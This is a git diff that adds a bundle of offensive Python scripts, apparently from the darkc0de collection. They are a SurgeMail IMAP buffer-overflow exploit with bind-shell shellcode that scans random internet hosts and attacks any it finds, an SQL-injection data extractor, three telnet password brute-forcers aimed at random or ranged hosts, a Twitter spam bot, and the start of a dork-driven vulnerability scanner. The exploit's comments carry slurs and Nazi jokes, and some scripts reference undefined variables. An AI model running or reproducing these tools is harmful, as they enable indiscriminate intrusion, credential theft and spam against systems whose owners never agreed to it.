+	if os.path.isfile(file) == True:
+		suids.append(file)
+
+print "[+] Found:",len(suids),"suids\n"
+print "[+] Monitoring...\n"
+
+for fname in suids:
+	hash =  md5sum(fname)
+	suidsdic[fname] = hash
+
+while 1:
+	time.sleep(int(sys.argv[1]))
+	for k,v in suidsdic.items():
+		hash =  md5sum(k)
+		if hash != v:
+			print "\n[-] Found a change:",k
+			print "[-] From:",v
+			print "[-] To:",hash
+			print "[-] Time:",timer(),"\n"
+			suidsdic[k] = hash
+
+
+
diff --git a/3rdparty/surgescan.py b/3rdparty/surgescan.py
new file mode 100644
index 0000000..00f2445
--- /dev/null
+++ b/3rdparty/surgescan.py
@@ -0,0 +1,165 @@
+#!/usr/bin/python
+#Modified Joey Mengele's - SurgeMail 38k (SEARCH) Remote Buffer Overflow 
+#Exploit to scan for random open 25,110 ports then 
+#checks the banner for SurgeMail, if found, continues to exploit it...
+
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+import sys, os, struct, socket, StringIO, re, commands, time, threading
+
+#this is imap exploit
+
+#710 bytes, tcp port 9999 bind, borrowed from skape miller inventor of megacanvas
+sc  = "\x90"
+sc += "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xeb\x03\x59"
+sc += "\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49\x49\x49\x49"
+sc += "\x49\x49\x49\x49\x49\x49\x49\x49\x51\x37\x5a\x6a\x66\x58\x50\x30"
+sc += "\x41\x31\x42\x41\x6b\x41\x41\x76\x41\x32\x41\x41\x32\x42\x41\x30"
+sc += "\x42\x41\x58\x50\x38\x41\x42\x75\x79\x79\x4b\x4c\x32\x4a\x7a\x4b"
+sc += "\x42\x6d\x78\x68\x4c\x39\x4b\x4f\x4b\x4f\x4b\x4f\x75\x30\x6e\x6b"
+sc += "\x42\x4c\x45\x74\x71\x34\x6c\x4b\x41\x55\x57\x4c\x4e\x6b\x33\x4c"
+sc += "\x53\x35\x51\x68\x55\x51\x68\x6f\x4c\x4b\x72\x6f\x56\x78\x6e\x6b"
+sc += "\x61\x4f\x77\x50\x76\x61\x38\x6b\x52\x69\x4e\x6b\x36\x54\x4e\x6b"
+sc += "\x67\x71\x4a\x4e\x76\x51\x4f\x30\x6d\x49\x4e\x4c\x4d\x54\x4b\x70"
+sc += "\x41\x64\x43\x37\x4b\x71\x6b\x7a\x76\x6d\x54\x41\x4f\x32\x7a\x4b"
+sc += "\x6a\x54\x45\x6b\x33\x64\x56\x44\x77\x58\x34\x35\x6b\x55\x4c\x4b"
+sc += "\x61\x4f\x46\x44\x55\x51\x58\x6b\x31\x76\x6c\x4b\x46\x6c\x30\x4b"
+sc += "\x4e\x6b\x61\x4f\x75\x4c\x64\x41\x38\x6b\x53\x33\x54\x6c\x4c\x4b"
+sc += "\x6d\x59\x50\x6c\x64\x64\x55\x4c\x30\x61\x6b\x73\x74\x71\x4b\x6b"
+sc += "\x51\x74\x4c\x4b\x51\x53\x70\x30\x4c\x4b\x77\x30\x36\x6c\x4c\x4b"
+sc += "\x72\x50\x35\x4c\x4e\x4d\x6c\x4b\x73\x70\x57\x78\x31\x4e\x42\x48"
+sc += "\x4e\x6e\x50\x4e\x76\x6e\x5a\x4c\x30\x50\x6b\x4f\x49\x46\x75\x36"
+sc += "\x56\x33\x53\x56\x75\x38\x37\x43\x34\x72\x35\x38\x74\x37\x54\x33"
+sc += "\x44\x72\x63\x6f\x71\x44\x4b\x4f\x7a\x70\x42\x48\x38\x4b\x38\x6d"
+sc += "\x6b\x4c\x47\x4b\x30\x50\x4b\x4f\x4e\x36\x51\x4f\x4f\x79\x4d\x35"
+sc += "\x42\x46\x4b\x31\x7a\x4d\x33\x38\x57\x72\x76\x35\x61\x7a\x46\x62"
+sc += "\x4b\x4f\x6e\x30\x51\x78\x4b\x69\x67\x79\x59\x65\x6c\x6d\x41\x47"
+sc += "\x4b\x4f\x6e\x36\x41\x43\x56\x33\x76\x33\x52\x73\x70\x53\x51\x53"
+sc += "\x70\x53\x32\x63\x32\x73\x6b\x4f\x4e\x30\x41\x76\x62\x48\x36\x47"
+sc += "\x54\x4f\x41\x76\x72\x73\x4f\x79\x49\x71\x4e\x75\x31\x78\x6e\x44"
+sc += "\x67\x6a\x64\x30\x4f\x37\x70\x57\x69\x6f\x6e\x36\x70\x6a\x74\x50"
+sc += "\x62\x71\x73\x65\x4b\x4f\x38\x50\x62\x48\x4c\x64\x4e\x4d\x64\x6e"
+sc += "\x58\x69\x62\x77\x4b\x4f\x7a\x76\x50\x53\x51\x45\x39\x6f\x58\x50"
+sc += "\x71\x78\x6b\x55\x53\x79\x6f\x76\x53\x79\x36\x37\x39\x6f\x79\x46"
+sc += "\x72\x70\x61\x44\x33\x64\x62\x75\x59\x6f\x48\x50\x4a\x33\x51\x78"
+sc += "\x6d\x37\x71\x69\x79\x56\x71\x69\x70\x57\x6b\x4f\x6e\x36\x51\x45"
+sc += "\x69\x6f\x6e\x30\x45\x36\x63\x5a\x41\x74\x35\x36\x72\x48\x30\x63"
+sc += "\x50\x6d\x6f\x79\x59\x75\x63\x5a\x52\x70\x43\x69\x37\x59\x58\x4c"
+sc += "\x4f\x79\x79\x77\x52\x4a\x33\x74\x4d\x59\x39\x72\x55\x61\x4f\x30"
+sc += "\x7a\x53\x6d\x7a\x79\x6e\x47\x32\x76\x4d\x69\x6e\x47\x32\x34\x6c"
+sc += "\x6d\x43\x6c\x4d\x72\x5a\x54\x78\x4e\x4b\x4c\x6b\x6c\x6b\x75\x38"
+sc += "\x52\x52\x4b\x4e\x4e\x53\x55\x46\x79\x6f\x71\x65\x41\x54\x59\x6f"
+sc += "\x4e\x36\x43\x6b\x71\x47\x51\x42\x52\x71\x62\x71\x52\x71\x51\x7a"
+sc += "\x33\x31\x56\x31\x46\x31\x51\x45\x50\x51\x59\x6f\x4e\x30\x50\x68"
+sc += "\x4c\x6d\x6e\x39\x53\x35\x6a\x6e\x62\x73\x49\x6f\x5a\x76\x50\x6a"
+sc += "\x59\x6f\x4b\x4f\x34\x77\x59\x6f\x5a\x70\x6c\x4b\x32\x77\x39\x6c"
+sc += "\x6c\x43\x4b\x74\x61\x74\x6b\x4f\x6a\x76\x50\x52\x79\x6f\x6e\x30"
+sc += "\x42\x48\x7a\x4f\x6a\x6e\x59\x70\x63\x50\x42\x73\x4b\x4f\x48\x56"
+sc += "\x79\x6f\x4e\x30\x66"
+
+def title():
+	print "\n\t   d3hydr8[at]gmail[dot]com SurgeScan v1.0"
+	print "\t-----------------------------------------------"
+
+class Worker(threading.Thread):
+	def run(self):
+		try:
+			host,port = nmap()
+			getban(host,port)
+		except(TypeError):
+			pass
+
+def Copulate(target,port):
+	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+	s.connect((target,port))
+	return s
+
+def Fascism(target,u,p):
+	safe_readable_null = 0x71c010e4 # Safe readable, preferably null (ws2_32 on win2k3)
+	safe_writable = 0x0fff7004 # Safe writable (rsaenh.dll data section on win2k3)
+	pop_then_ret = 0x77e41a26 # EIP (pop, ret in kernel32 on win2k3)
+	call_esp = 0x77e839b3 # Return #2, call esp in kernel32. When hit, esp points at the next 4 bytes.
+	s = Copulate(target,143)
+	pkt = "0001 LOGIN \""
+	pkt += u
+	pkt += "\" \""
+	pkt += p
+	pkt += "\"\r\n"
+	SendPacket(s,pkt)
+	pkt = "0003 SELECT \"Inbox\"\r\n"
+	SendPacket(s,pkt)
+	pkt = "C284 SEARCH "
+	pkt += "P"*1008
+	pkt += struct.pack('<L',safe_readable_null)
+	pkt += "CUNT" # Word used to describe members of the infosec community.
+	pkt += struct.pack('<L',pop_then_ret)
+	pkt += struct.pack('<L',safe_writable)
+	pkt += struct.pack('<L',call_esp)
+	pkt += "A"*198 # I have boned over 198 bitches
+	pkt += "\xeb\x10" # Body Mass Index of Gadi Evron, hexadecimal LOLOLOLOL
+	pkt += struct.pack('<L',safe_readable_null)
+	pkt += "A"*16 # Unnecessary megathropic nopsled, invented by k2, founding member of n3td3v
+	pkt += sc
+	pkt += " (SAVE MIN) SINCE 12-Feb-1992 NOT FROM \"Len Rose The Moderating Nazi of Full Disclosure, Original Founder of Zyklon B\"\r\n"
+	print "Sending. Hold on."
+	SendPacket(s,pkt)
+	time.sleep(3)
+	print "The service will continue functioning but cannot be exploited again until restart."
+	print "Please telnet to port 9999 on it now for a rootshell."
+	print "		-management"
+	s.close()
+
+def SendPacket(s,pkt):
+     s.send(pkt) # comment
+	
+def getban(host,port):
+	print "[+] Checking banner...\n"
+	try:
+		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+		s.settimeout(10)
+		s.connect((host, port))
+		time.sleep(4)
+		s.send("\r\n")
+		response = s.recvfrom(1024)[0]
+		s.close()		
+		if re.search("surgemail", response.lower()): 
+			print "\n[+] Surgemail Server found:",host, port 
+			print "[+] Attempting to exploit...\n"
+			Fascism(target,u,p)
+		else: 
+			print "\n\t[-] No Match\n"
+	except socket.error, msg:
+		print "An error occurred:", msg
+		s.close()
+	
+def nmap():
+	
+	port = ""
+
+	nmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 -p 25,110 -iR 1 | grep -B 4 open')[1]).readlines()
+	for tmp in nmap:
+		if re.search("110/tcp\s+(?=open)", tmp):
+			port = 110
+		if re.search("25/tcp\s+(?=open)", tmp):
+			port = 25
+	if str(port).isdigit() == True:
+		ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", nmap[2])
+		if len(ipaddr[0]) >= 7:
+			print "\n[+] Found:",ipaddr[0],":",port,"open"
+			return ipaddr[0], port
+	
+if len(sys.argv) != 2:
+	title()
+	print "\nUsage: ./surgescan.py <How many ips would you like to scan?>\n"
+	sys.exit(1)
+
+title()
+print "\n[+] Scanning:",sys.argv[1],"\n"
+for i in range(int(sys.argv[1])):
+	print "Done:",i+1,"of",sys.argv[1] #Comment this out if needed
+	work = Worker()
+	work.start()
+	time.sleep(3)  #Change this to make it faster
+	
+
diff --git a/3rdparty/tabcolext.py b/3rdparty/tabcolext.py
new file mode 100644
index 0000000..3695194
--- /dev/null
+++ b/3rdparty/tabcolext.py
@@ -0,0 +1,112 @@
+#!/usr/bin/python 
+#SQL injection Table/Column extract
+
+#This script will help extract tables or columns
+#from incremented site addresses.
+#Put NUM in the site address for the number
+#to incrament.
+#Put table_name or column_name in the address.
+#Example: 
+#www.site.com/news.php?id=-1+UNION+SELECT+ALL+1,table_name,3,+FROM+information_schema.tables+limit+NUM,1/*
+#Example:
+#www.site.com.com/help.php?id=-1+union+select+1,column_name,2+from+information_schema.columns+where+table_name=0x5+limit+NUM,1
+ 
+#www.darkc0de.com 
+#d3hydr8[at]gmail[dot]com 
+ 
+#Range of incraments. 
+START = 0
+FINISH = 35
+
+#File to save data.
+FILE_NAME = "database.txt"
+
+#Add proxy support: Format  127.0.0.1:8080
+proxy = "None"
+ 
+import urllib, sys, re, socket, httplib, urllib2
+
+def StripTags(text):
+	finished = 0
+	while not finished:
+		finished  =1
+		start =  text.find("<")
+		if start >= 0:
+			stop = text[start:].find(">")
+			if stop >= 0:
+				text = text[:start] + text[start+stop+1:]
+				finished = 0
+	return text
+			
+print "\n\t   SQL/TableColumn Extract v1.0"
+print "\n\t   		by d3hydr8"
+print "\t------------------------------------------"
+ 
+if len(sys.argv) != 2: 
+	print "\n\tUsage: ./tabcolext.py <site>" 
+	print "\n\tEx: ./tabcolext.py www.site.com/news.php?id=-1+UNION+SELECT+ALL+1,table_name,3,+FROM+information_schema.tables+limit+NUM,1/*\n" 
+	sys.exit(1) 
+ 
+site = sys.argv[1]
+if site.find("NUM") == -1: 
+	print "\n[-] Site must contain \'NUM\'\n" 
+	sys.exit(1)
+else:
+	site = site.replace("NUM","###").lower()
+if site[:7] != "http://": 
+	site = "http://"+site  
+if site.find("table_name") == -1 and site.find("column_name") == -1:
+	print "\n[-] Site must contain table_name or column_name\n"
+	sys.exit(1)
+if site.find("table_name") != -1 and site.find("column_name") == -1:
+	print "\n[+] Extracting Tables"
+	site = site.replace("table_name","concat_ws(char(58),char(58),table_name)")
+if site.find("table_name") == -1 and site.find("column_name") != -1:
+	print "\n[+] Extracting Columns"
+	site = site.replace("column_name","concat_ws(char(58),char(58),column_name)")
+if site.find("table_name") != -1 and site.find("column_name") != -1:
+	if site.find("table_name") < site.find("column_name"):
+		print "\n[+] Extracting Tables"
+		site = site.replace("table_name","concat_ws(char(58),char(58),table_name)")
+	else:
+		print "\n[+] Extracting Columns"
+		site = site.replace("column_name","concat_ws(char(58),char(58),column_name)")
+
+try:
+	if proxy != "None":
+		print "\n[+] Testing Proxy..."
+		h2 = httplib.HTTPConnection(proxy)
+		h2.connect()
+		print "[+] Proxy:",proxy
+		print "[+] Building Handler"
+		proxy_handler = urllib2.ProxyHandler({'http': 'http://'+proxy+'/'})
+	else:
+		print "\n[-] Proxy Not Given"
+		proxy_handler = ""
+except(socket.timeout):
+	print "\n[-] Proxy Timed Out"
+	sys.exit(1)
+except(), msg:
+	print msg
+	print "\n[-] Proxy Failed"
+	sys.exit(1)
+ 
+file = open(FILE_NAME, "a")
+print "\n[+] Starting Extraction...\n"
+for x in xrange(START,FINISH+1): 
+	x = str(x) 
+	print "[+] Testing:",x
+	opener = urllib2.build_opener(proxy_handler)
+	source = opener.open(site.replace("###",x)).read() 
+	try:
+		match = re.findall("::\S+",StripTags(source))[0]
+		if match:
+			file.writelines(match.replace("::","")+"\n")
+			print "[+] Wrote:",match.replace("::","")
+		else:
+			print "[-] No Data Found"
+	except(IndexError):
+		print "[-] No Data Found"
+		pass
+file.close()
+print "\n[-] Done\n"
\ No newline at end of file
diff --git a/3rdparty/telnetbrute.py b/3rdparty/telnetbrute.py
new file mode 100644
index 0000000..fe374e0
--- /dev/null
+++ b/3rdparty/telnetbrute.py
@@ -0,0 +1,82 @@
+#!usr/bin/python
+#Telnet Brute Forcer
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+import threading, time, random, sys, telnetlib
+from copy import copy
+
+if len(sys.argv) !=4:
+	print "Usage: ./telnetbrute.py <server> <userlist> <wordlist>"
+	sys.exit(1)
+
+try:
+  	users = open(sys.argv[2], "r").readlines()
+except(IOError): 
+  	print "Error: Check your userlist path\n"
+  	sys.exit(1)
+  
+try:
+  	words = open(sys.argv[3], "r").readlines()
+except(IOError): 
+  	print "Error: Check your wordlist path\n"
+  	sys.exit(1)
+
+print "\n\t   d3hydr8[at]gmail[dot]com TelnetBruteForcer v1.0"
+print "\t--------------------------------------------------\n"
+print "[+] Server:",sys.argv[1]
+print "[+] Users Loaded:",len(users)
+print "[+] Words Loaded:",len(words),"\n"
+
+wordlist = copy(words)
+
+def reloader():
+	for word in wordlist:
+		words.append(word)
+
+def getword():
+	lock = threading.Lock()
+	lock.acquire()
+	if len(words) != 0:
+		value = random.sample(words,  1)
+		words.remove(value[0])
+		
+	else:
+		print "\nReloading Wordlist - Changing User\n"
+		reloader()
+		value = random.sample(words,  1)
+		users.remove(users[0])
+		
+	lock.release()
+	if len(users) ==1:
+		return value[0][:-1], users[0]
+	else:
+		return value[0][:-1], users[0][:-1]
+		
+class Worker(threading.Thread):
+	
+	def run(self):
+		value, user = getword()
+		try:
+			print "-"*12
+			print "User:",user,"Password:",value
+			tn = telnetlib.Telnet(sys.argv[1])
+			tn.read_until("login: ")
+			tn.write(user + "\n")
+			if password:
+					tn.read_until("Password: ")
+					tn.write(value + "\n")
+			tn.write("ls\n")
+			tn.write("exit\n")
+			print tn.read_all()
+			print "\t\nLogin successful:",value, user
+			tn.close()
+			work.join()
+			sys.exit(2)
+		except: 
+			pass
+ 
+for i in range(len(words)*len(users)):
+	work = Worker()
+	work.start()
+	time.sleep(1)
diff --git a/3rdparty/telnetbrute_iprange.py b/3rdparty/telnetbrute_iprange.py
new file mode 100644
index 0000000..b5d35e7
--- /dev/null
+++ b/3rdparty/telnetbrute_iprange.py
@@ -0,0 +1,96 @@
+#!usr/bin/python
+#Telnet Brute Forcer, searches ip_range for hosts using telnet.
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+import threading, time, StringIO, commands, random, sys, telnetlib, re
+from copy import copy
+
+if len(sys.argv) !=4:
+	print "Usage: ./telnetbrute.py <ip_range> <userlist> <wordlist>"
+	sys.exit(1)
+
+try:
+  	users = open(sys.argv[2], "r").readlines()
+except(IOError): 
+  	print "Error: Check your userlist path\n"
+  	sys.exit(1)
+  
+try:
+  	words = open(sys.argv[3], "r").readlines()
+except(IOError): 
+  	print "Error: Check your wordlist path\n"
+  	sys.exit(1)
+
+print "\n\t   d3hydr8[at]gmail[dot]com telnetBruteForcer v1.0"
+print "\t--------------------------------------------------\n"
+print "[+] Scanning:",sys.argv[1]
+print "[+] Users Loaded:",len(users)
+print "[+] Words Loaded:",len(words)
+
+wordlist = copy(words)
+
+def scan():
+
+	iprange = sys.argv[1]
+	ip_list = []
+	
+	nmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 '+iprange+' -p 23 | grep open -B 3')[1]).readlines()
+	
+	for tmp in nmap:
+		ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", tmp)
+		if ipaddr:
+	    		ip_list.append(ipaddr[0])
+	return ip_list
+
+def reloader():
+	for word in wordlist:
+		words.append(word)
+
+def getword():
+	lock = threading.Lock()
+	lock.acquire()
+	if len(words) != 0:
+		value = random.sample(words,  1)
+		words.remove(value[0])
+		
+	else:
+		reloader()
+		value = random.sample(words,  1)
+		
+	lock.release()
+	return value[0][:-1]
+		
+class Workhorse(threading.Thread):
+	
+	def run(self):
+		value = getword()
+		try:
+			print "-"*12
+			print "User:",user[:-1],"Password:",value
+			tn = telnetlib.Telnet(ip)
+			tn.read_until("login: ")
+			tn.write(user[:-1] + "\n")
+			if password:
+					tn.read_until("Password: ")
+					tn.write(value + "\n")
+			tn.write("ls\n")
+			tn.write("exit\n")
+			print tn.read_all()
+			print "\t\nLogin successful:",value, user[:-1]
+			tn.close()
+			work.join()
+			sys.exit(2)
+		except: 
+			pass
+ 
+ip_list = scan()
+print "[+] Hosts Loaded:",len(ip_list),"\n"
+for ip in ip_list:
+	print "\n\tAttempting BruteForce:",ip,"\n"
+	for user in users:
+		for i in range(len(words)):
+			if i == 0: reloader()
+			work = Workhorse()
+			work.start()
+			time.sleep(1)
diff --git a/3rdparty/telnetbrute_random.py b/3rdparty/telnetbrute_random.py
new file mode 100644
index 0000000..965f5f4
--- /dev/null
+++ b/3rdparty/telnetbrute_random.py
@@ -0,0 +1,95 @@
+#!usr/bin/python
+#Uses nmap to check if telnet port is open, brute forces if it is.
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+import threading, time, StringIO, commands, random, sys, telnetlib, re
+from copy import copy
+
+if len(sys.argv) !=4:
+	print "Usage: ./telnetbrute.py <how many to scan> <userlist> <wordlist>"
+	sys.exit(1)
+
+try:
+  	users = open(sys.argv[2], "r").readlines()
+except(IOError): 
+  	print "Error: Check your userlist path\n"
+  	sys.exit(1)
+  
+try:
+  	words = open(sys.argv[3], "r").readlines()
+except(IOError): 
+  	print "Error: Check your wordlist path\n"
+  	sys.exit(1)
+
+print "\n\t   d3hydr8[at]gmail[dot]com telnetBruteForcer v1.0"
+print "\t--------------------------------------------------\n"
+print "[+] Scanning:",sys.argv[1],"hosts"
+print "[+] Users Loaded:",len(users)
+print "[+] Words Loaded:",len(words),"\n"
+
+wordlist = copy(words)
+
+def scan():
+	
+	nmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 -iR 1 -p 23 | grep open -B 3')[1]).readlines()
+	
+	for tmp in nmap:
+		ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", tmp)
+		if ipaddr:    		
+			return ipaddr
+
+def reloader():
+	for word in wordlist:
+		words.append(word)
+
+def getword():
+	lock = threading.Lock()
+	lock.acquire()
+	if len(words) != 0:
+		value = random.sample(words,  1)
+		words.remove(value[0])
+		
+	else:
+		print "Reloading Wordlist\n"
+		reloader()
+		value = random.sample(words,  1)
+		
+	lock.release()
+	return value[0][:-1]
+		
+class Workhorse(threading.Thread):
+	
+	def run(self):
+		value = getword()
+		try:
+			print "-"*12
+			print "User:",user[:-1],"Password:",value
+			tn = telnetlib.Telnet(ipaddr[0])
+			tn.read_until("login: ")
+			tn.write(user[:-1] + "\n")
+			if password:
+					tn.read_until("Password: ")
+					tn.write(value + "\n")
+			tn.write("ls\n")
+			tn.write("exit\n")
+			print tn.read_all()
+			print "\t\nLogin successful:",user[:-1], value
+			tn.close()
+			work.join()
+			sys.exit(2)
+		except: 
+			pass
+
+for x in range(int(sys.argv[1])):
+	print "Scanning:",x,"of",sys.argv[1]
+	ipaddr = scan()
+	if ipaddr != None:
+		print "\n\tAttempting BruteForce:",ipaddr[0],"\n"
+		for user in users:
+			for i in range(len(words)):
+				if i == 0: reloader()
+				work = Workhorse()
+				work.start()
+				time.sleep(2)
+
diff --git a/3rdparty/twitterbot.py b/3rdparty/twitterbot.py
new file mode 100644
index 0000000..aa148ab
--- /dev/null
+++ b/3rdparty/twitterbot.py
@@ -0,0 +1,90 @@
+#!/usr/bin/env python
+# -*- coding: cp1254 -*-
+
+import mechanize 
+import time
+
+print """
+
+Coded by B3mB4m
+
+Twitter BOT V 0.1 !
+
+b3mb4m@gmail.com
+
+"""
+
+url = "https://mobile.twitter.com/session/new"
+
+op = mechanize.Browser() #Mechanizeyi tan�mla
+op.set_handle_robots(False)#Baz� sayfalar programlar� engeller robot False yap�yoruz.
+op.addheaders = [('Referer', 'http://google.com')]#Header ekliyoruz.
+#Google'dan �ektim siz user agent olarak ekleyedebilirisiniz.
+#Header istege bagl� degi�tirilebilir.
+
+
+op.open(url) # Siteyi a�t�r
+
+
+
+gmail = raw_input("Email: ")
+passwd = raw_input("Password: ")
+
+op.select_form(nr=0)
+op.form["username"] = gmail
+op.form["password"] = passwd
+print ""
+
+op.submit()
+
+if op.title() != "Twitter":
+    print "."
+    sys.exit()
+else:
+    print ""
+    print "Twitter Login Success !"
+    print ""
+
+
+text = raw_input("Message:  ")
+a = 0
+while True:
+    a += 1
+    tweet = 'https://mobile.twitter.com/compose/tweet'
+    op.open(tweet)
+    op.select_form(nr=0)
+    op.form['tweet[text]'] = text + str(a)
+    #str(a) yapmam�z�n sebebi print se�enegini kullanm�yoruz dikkat ederseniz.
+    #Formlar �zerinde i�lem yapt�g�m�zdan str(a) yap�p program�n akl�n� kar��t�rmam�z gerek.
+    op.submit()
+    time.sleep(1)
+    #time.sleep i�indeki saniye aral�g�d�r, istege bagl� degi�ebilir.
+    print "Twit Done !"
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/3rdparty/v3nom.py b/3rdparty/v3nom.py
new file mode 100644
index 0000000..9715a6d
--- /dev/null
+++ b/3rdparty/v3nom.py
@@ -0,0 +1,740 @@
+#!/usr/bin/python
+# -*- coding: latin-1 -*-
+#              --- To be Done     --Partially implemented     -Done
+# V3n0MScanner.py - V.3.2.2
+#   -Fix engines search parameters
+#   -Increase LFI/RFI/XSS Lists if possible
+#   ---Implement SQL Database dumping tweaks
+#   ---Implement SQLi Post Method attack
+#   - Removed ToRSledgehammer attack. Only skids DoS
+#   --Update Banner
+#   --Generalised "Tweaks" required
+#	---Build and Implement Admin page finder
+#	---Commenting
+#	---Improve Md5 check to not use Static method
+#	---Prepare code for Hash cracking feature
+#   ---Live logging
+#	-Prepare coding for Admin page finder
+#   ---Pause Scanning option
+#   ---Add MD5 and SHA1 Detection/Cracking
+#	---Remove "Dark" naming conventions, provide more accurate names
+#
+# V3n0MScanner.py - V.3.0.2
+#    -Increased headers list to include mobile devices headers 
+#    -Increased XSS Detection by almost double, Detects Actual Bypass required for the attack to progress
+#    -Increased LFI Detection rates 
+#    -Increased URL Detection rate for valid Vuln sites
+#    -New Banner Style promoting V3n0M Scanner and Version details
+#    -New method for identifying Version make: V.x.y.z Where x is the main release version, y is amount of Beta release
+#     versions and z is the
+#     amount of alpha release versions. ie, V.3.0.2 is Main release build 3 that has had 0 Beta test phases and 2 Alpha
+#     release phases
+#    -New Search Engine's powering the scanner so should give alot more results.
+#    -Intergrated DoS Feature, now you can select to [1] Scan as you used to for vulnerabilitys or [2] TorSledgehammer
+#     DoS Attack
+#    -New MultiPlatform version instead of the old Linux/Windows seperate releases
+#    -TorSledgehammer DoS tool rotates attacks through multiple detected Internet connections to spread attack workload
+#     and increase DoS success rate.
+#
+#
+# V3n0MScanner.py - a modified smartd0rk3r
+#    - added superlarge Dork list
+#    - added new headers
+#    - added lots of new XSS detectors and XSS Filter Bypass Detection to for spotting those trickier XSS sites
+#    - added mbcs encoding support and linux mbcs encoding bypass to make the program multi-platform again
+#
+#
+#                       This program has been based upon the smartd0rk3r and darkd0rker
+#                       It has been heavily edited, updated and improved upon by Novacygni
+#                       but in no way is this the sole work of NovaCygni, and credit is due
+#                       to every person who has worked on this tool. Thanks people. NovaCygni
+
+
+
+try:
+	import re, random, threading, socket, urllib2, cookielib, subprocess, codecs, signal, time, sys, os, math, itertools
+except:
+	print " please make sure you have all of the following modules: re, random, threading, socket, urllib2, cookielib, subprocess, codecs, signal, time, sys, os, math, itertools"
+	exit()
+
+# Banner
+def logo():
+	print R + "\n|----------------------------------------------------------------|"
+	print "|     V3n0mScanner.py                                            |"
+	print "|     Release Date 02/12/2013  - Release Version V.3.3.2         |"
+	print "|          						         |"
+	print "|          " + B + "   NovaCygni  Architect  d4rkcat" + R + "                      |"
+	print "|                    _____       _____                           |"
+	print "|          " + G + "         |____ |     |  _  |    " + R + "                      |"
+	print "|             __   __   / /_ __ | |/' |_ _" + G + "_ ___             " + R + "     |"
+	print "|             \ \ / /  " + G + " \ \ '" + R + "_ \|  /| | '_ ` _ \                 |"
+	print "|              \ V" + G + " /.___/ / | | \ |_" + R + "/ / | | | | |                |"
+	print "|    Official   \_/" + G + " \____/|_" + R + "| |_|" + G + "\___/|_| |_| " + R + "|_|  Release       |"
+	print "|    							         |"
+	print "|----------------------------------------------------------------|\n"
+
+def killpid(signum = 0, frame = 0):
+	print "\r\x1b[K"
+	os.kill(os.getpid(), 9)
+
+def search(maxc):
+	urls = []
+	urls_len_last = 0
+	for site in sitearray:
+		dark = 0
+		for dork in go:
+			dark += 1
+			page = 0
+			try:
+				while page < int(maxc):
+					try:
+						jar = cookielib.FileCookieJar("cookies")
+						query = dork + "+site:" + site
+						results_web = 'http://www.galaxy.com/search/gsite?cx=partner-pub-7997125561256657%3Aihfdd571hqo&cof=FORID%3A10&ie=UTF-8&q=' + query + 'hl=en&page=' + repr(
+							page) + '&src=hmp' and 'http://www.search-results.com/web?o=&tpr=1&q=' + query + '&hl=en&page=' + repr(
+							page) + '&src=hmp' and 'http://blekko.com/#?q=' + query + '&hl=en&page=' + repr(
+							page) + '&src=hmp' and 'http://search.lycos.com/web?q=' + query + '&hl=en&page=' + repr(
+							page) + '&src=hmp' and 'http://www.webcrawler.com/search/web?fcoid=421&fcop=topnav&fpid=27&aid=ab8d8d87-cd66-4573-898b-e2585c92c0ba&ridx=1&q=' + query + '&hl=en&page=' + repr(
+							page) + '&src=hmp' and 'http://msxml.excite.com/search/web?q=' + query + '&hl=en&page=' + repr(
+							page) + '&src=hmp' and 'https://duckduckgo.com/?q=' + query + '&hl=en&page=' + repr(
+							page) + '&src=hmp' and 'https://www.gigablast.com/search?k8c=17319&q=' + query + '&hl=en&page=' + repr(
+							page) + '&src=hmp' and 'http://www.gibiru.com/?cx=partner-pub-5956360965567042%3A8627692578&cof=FORID%3A11&ie=UTF-8&q=' + query + '&hl=en&page=' + repr(
+							page) + '&src=hmp' and 'http://www.dogpile.com/info.dogpl.t10.5/search/web?fcoid=417&fcop=topnav&fpid=27&q=' + query + '&hl=en&page=' + repr(
+							page) + '&src=hmp' and 'http://www.bing.com/search?q=' + query + '&hl=en&page=' + repr(
+							page) + '&src=hmp'
+						request_web = urllib2.Request(results_web)
+						agent = random.choice(header)
+						request_web.add_header('User-Agent', agent)
+						opener_web = urllib2.build_opener(urllib2.HTTPCookieProcessor(jar))
+						text = opener_web.open(request_web).read()
+						stringreg = re.compile('(?<=href=")(.*?)(?=")')
+						names = stringreg.findall(text)
+						page += 1
+						for name in names:
+							if name not in urls:
+								if re.search(r'\(', name) or re.search("<", name) or re.search("\A/",
+																							   name) or re.search(
+										"\A(http://)\d", name):
+									pass
+								elif re.search("google", name) or re.search("youtube", name) or re.search("phpbuddy",
+																										  name) or re.search(
+										"iranhack", name) or re.search("phpbuilder", name) or re.search("codingforums",
+																										name) or re.search(
+										"phpfreaks", name) or re.search("%", name) or re.search("facebook",
+																								name) or re.search(
+										"twitter", name) or re.search("hackforums", name) or re.search("askjeeves",
+																									   name) or re.search(
+										"wordpress", name) or re.search("github", name):
+									pass
+								elif re.search(site, name):
+									urls.append(name)
+						darklen = len(go)
+						percent = int((1.0 * dark / int(darklen)) * 100)
+						urls_len = len(urls)
+						sys.stdout.write(
+							"\r\x1b[KSite: %s | Collected urls: %s | D0rks: %s/%s | Percent Done: %s | Current page no.: <%s> | Dork: %s" % (
+							site, repr(urls_len), dark, darklen, repr(percent), repr(page), dork))
+						sys.stdout.flush()
+						if urls_len == urls_len_last:
+							page = int(maxc)
+						urls_len_last = len(urls)
+
+					except:
+						pass
+			except KeyboardInterrupt:
+				pass
+		tmplist = []
+		print "\n\n[+] URLS (unsorted): ", len(urls)
+		for url in urls:
+			try:
+				host = url.split("/", 3)
+				domain = host[2]
+				if domain not in tmplist and "=" in url:
+					finallist.append(url)
+					tmplist.append(domain)
+
+			except:
+				pass
+		print "[+] URLS (sorted)  : ", len(finallist)
+		return finallist
+
+
